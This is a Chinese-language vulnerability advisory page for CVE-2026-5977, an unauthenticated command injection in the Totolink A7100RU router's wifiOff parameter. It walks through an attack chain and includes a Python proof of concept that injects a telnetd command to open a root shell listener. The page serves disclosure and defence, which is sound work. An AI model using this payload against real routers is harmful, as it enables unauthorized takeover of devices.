IPBUF安全漏洞报告
English
CVE-2026-5977 CVSS 9.8 严重

CVE-2026-5977 Totolink A7100RU 远程命令注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5977
漏洞类型
操作系统命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

OS Command InjectionRCETotolinkIoTRouterCVE-2026-5977

漏洞概述

Totolink A7100RU路由器在固件版本7.4cu.2313_b20191024中存在严重的操作系统命令注入漏洞。该漏洞源于CGI处理程序/cstecgi.cgi中的setWiFiBasicCfg函数未能正确过滤用户输入的wifiOff参数。未经身份验证的远程攻击者可通过发送特制的HTTP请求向该参数注入恶意操作系统命令。由于攻击无需用户交互且可远程触发,攻击者成功利用后可完全控制受影响设备,导致敏感信息泄露、数据篡改或服务中断。

技术细节

该漏洞位于Totolink A7100RU Web管理接口的/cgi-bin/cstecgi.cgi脚本中。具体而言,当处理setWiFiBasicCfg功能时,程序直接将用户提交的wifiOff参数传递给底层的系统调用函数,未经过任何有效的安全过滤或转义机制。攻击者可以利用如分号、管道符或反引号等Shell元字符拼接恶意命令。当服务器端脚本解析该请求时,会将拼接后的字符串作为系统命令执行。由于CVSS向量显示无需认证且攻击复杂度低,攻击者可轻易通过互联网批量扫描并利用此漏洞获取Root权限。

攻击链分析

STEP 1
侦察
攻击者通过网络扫描发现暴露在互联网上的Totolink A7100RU设备,并确认其Web管理接口(端口80/443)可达。
STEP 2
漏洞利用
攻击者向/cgi-bin/cstecgi.cgi发送特制的POST请求,在wifiOff参数中注入包含Shell元字符的恶意载荷,如';reboot'或';telnetd'。
STEP 3
命令执行
设备后端CGI程序处理请求,将wifiOff参数直接传递给系统Shell执行,导致攻击者的恶意命令在设备操作系统上运行。
STEP 4
建立控制
攻击者通过注入的命令(如开启Telnet服务或反弹Shell)获得设备的远程Root Shell权限,从而完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Payload to execute a command (e.g., telnetd or simple ping) # Using semicolon to chain commands payload = "; telnetd -l /bin/sh -p 8888" data = { "topicurl": "setWiFiBasicCfg", "wifiOff": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") if response.status_code == 200: print("Command injection potentially successful.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
在未获得官方补丁前,建议将设备管理界面仅限制在内网访问,并关闭不必要的服务端口。若设备已遭受攻击,应立即断开网络连接并恢复出厂设置或重刷固件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表